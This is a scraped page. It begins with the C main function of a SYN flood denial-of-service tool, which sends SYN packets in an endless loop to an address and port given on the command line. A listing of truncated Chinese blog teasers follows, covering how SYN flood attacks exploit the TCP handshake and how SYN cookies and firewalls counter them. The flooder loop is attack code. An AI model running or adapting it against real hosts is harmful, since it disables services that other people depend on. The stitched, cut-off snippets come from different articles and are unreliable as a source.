    int main(int argc, char *argv[])
    {
        unsigned int addr;
        unsigned short port;
        int sockfd;
    
        if (argc < 3) {
            fprintf(stderr, "Usage: synflood <address> <port>\n");
            exit(1);
        }
    
        addr = inet_addr(argv[1]);
        port = atoi(argv[2]);
    
        if (port < 0 || port > 65535) {
            fprintf(stderr, "Invalid destination port number: %s\n", argv[2]);
            exit(1);
        }
    
        sockfd = make_raw_socket();
        if (sockfd == -1) {
            fprintf(stderr, "Failed to make raw socket\n");
            exit(1);
        }
    
        for (;;) {
            if (send_syn_packet(sockfd, addr, port) < 0) {
                fprintf(stderr, "Failed to send syn packet\n");
            }
        }
    
        close(sockfd);
    
        return 0;
    }

     

    展开全文
  • Syn Flood 攻击

    2020-03-15 19:42:55
    SYN Flood攻击指的是一种常见的拒绝服务攻击。这种攻击可能对主机实施,阻止主机处理...SYN Flood攻击是一种利用TCP协议缺陷,发送大量伪造的TCP连接请求,常用假冒的IP或IP号段发来海量的请求连接的第一个握手包...
  • 为什么synflood攻击不会攻击UDP连接,而攻击TCP连接呢? 问题就出在TCP连接的三次握手中,假设一个用户向服务器发送了SYN报文后突然死机或掉线,那么服务器在发出SYN+ACK应答报文后是无法收到客户端的ACK报文的(第...
  • 半连接队列 当客户端发送SYN到服务端,服务端收到以后回复ACK和SYN,状态由LISTEN变为SYN_RCVD,此时这个连接就被...SYN Flood 属于典型的 DoS/DDoS 攻击。其攻击的原理很简单,就是用客户端在短时间内伪造大量不存在的
  • 利用防火墙来防止SYN Flood攻击(转)

    千次阅读 2006-01-23 15:10:00
    DoS(Denial of Service拒绝服务)和DDoS(Distributed Denial of Service分布式拒绝服务)攻击是大型网站和网络服务器的安全威胁之一。2000年2月,Yahoo、亚马逊、CNN被... SYN Flood利用TCP协议缺陷,发送了大量伪
  • SYN Flood攻击

    2019-07-13 22:12:13
    SYN Flood是一种广为人知的DoS(拒绝服务攻击)是DDoS(分布式拒绝服务攻击)的方式之一,这是一种利用TCP协议缺陷,发送大量伪造的TCP连接请求,从而使得被攻击方资源耗尽(CPU满负荷或内存不足)的攻击方式。...
  • TCP洪水攻击SYN Flood)的诊断和处理 ...SYN Flood是当前最流行的DoS(拒绝服务攻击)与DDoS(分布式拒绝服务攻击)的方式之一,这是一种利用TCP协议缺陷,发送大量伪造的TCP连接请求,常用假冒的IP或IP号段发来
  • SYN Flood是当前最流行的DoS(拒绝服务攻击)与DDoS(分布式拒绝服务攻击)的方式之一,这是一种利用TCP协议缺陷,发送大量伪造的TCP连接请求,常用假冒的IP或IP号段发来海量的请求连接的第一个握手包(SYN包) …
  • TCP SYN-Flood攻击解决办法分析

    千次阅读 2019-09-29 23:21:39
    到目前为止,能够有效防范SYN Flood攻击的手段并不多, SYN Cookie就是其中最著名的一种。 SYN Flood攻击是一种典型的拒绝服务(Denial of Service)攻击。所谓的拒绝服务攻击就是通过进行攻击,使受害主机或 网络...
  • (1) syn攻击利用TCP协议的缺陷,通过发送大量的半连接请求,耗费CPU和内存资源。服务器收到连接请求,将此信息加入到未连接队列,并发送请求包给客户,此时进入SYN_RECV状态。当服务器未收到客户端的确认包时,...
  • SYN Flood是当前最流行的DoS(拒绝服务攻击)与DDoS(分布式拒绝服务攻击)的方式之一,这是一种利用TCP协议缺陷,发送大量伪造的TCP连接请求,从而使得被攻击方资源耗尽(CPU满负荷或内存不足)的攻击方式
  • SYN Flood攻击实验流程

    万次阅读 2017-04-10 18:31:55
    利用TCP三次握手协议的缺陷,向目标主机发送大量的伪造源地址的SYN连接请求,消耗目标主机的连接队列资源,从而不能正常为用户提供服务。 首先,令A为攻击机(SYN Flood攻击发起者),C为靶机,B为C要去连接的...
  • TCP协议SYN Flood攻击,这种攻击方式虽然原始,但是生命力顽强,长久以来在DDoS圈里一直处于德高望重的地位。SYN Flood攻击的影响也不容小觑,从攻击事件中可以看到,以SYN Flood为主的数十G流量,很容易就造成被...
  • SYN Flood 攻击

    2017-11-12 18:37:00
    SYN flood或称SYN洪水、SYN洪泛是一种阻断服务攻击,起因于攻击者传送一系列的SYN请求到目标系统。当用户端试着与服务器间建立TCP连线时,正常情况下用户端与服务器端交换一系列的信息如下: 用户端透过传送SYN...
  • 扯谈网络编程之Tcp SYN flood洪水攻击

    万次阅读 2014-05-12 20:45:03
    update 2017-5-11: syncookies 会点用 tcp_options 字段空间,会强制关闭 tcp 高级流控技术而退化成原始 tcp 模式。此模式会导致 封包 丢失时 对...TCP协议要经过三次握手才能建立连接: (from wiki) 于是出...
  • 这种攻击手段一点也不新鲜,是一种最古老的攻击手段,用通俗的话讲,就是拒绝服务攻击(DDoS),该攻击利用TCP/IP协议天生的特点,通过大量的虚假IP地址建立不完整连接,使得服务器超载,陷入瘫痪状态。 要明白...
  • 剖析SYN Flood攻击

    2015-02-05 14:38:34
     SYN Flood是当前最流行的DoS(拒绝服务攻击)与DdoS(分布式拒绝服务攻击)的方式之一,这是一种利用TCP协议缺陷,发送大量伪造的TCP连接请求,从而使得被攻击方资源耗尽(CPU满负荷或内存不足)的攻击方式。...
  • Denial Of Service分布式拒绝服务攻击)的方式之一,这是一种利用TCP协议缺陷,发送大量伪造的TCP连接请求,使被攻击方资源耗尽(CPU满负荷或内存不足)的攻击方式。  SYN Flood攻击的过程在TCP协议中被称为三次握手...
  •  SYN Flood是一种广为人知的DoS(拒绝服务攻击)是DDoS(分布式拒绝服务攻击)的方式之一,这是一种利用TCP协议缺陷,发送大量伪造的TCP连接请求,从而使得被攻击方资源耗尽(CPU满负荷或内存不足)的攻击方式(TCP...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 6,494
精华内容 2,597
关键字:

利用tcp协议实现synflood攻击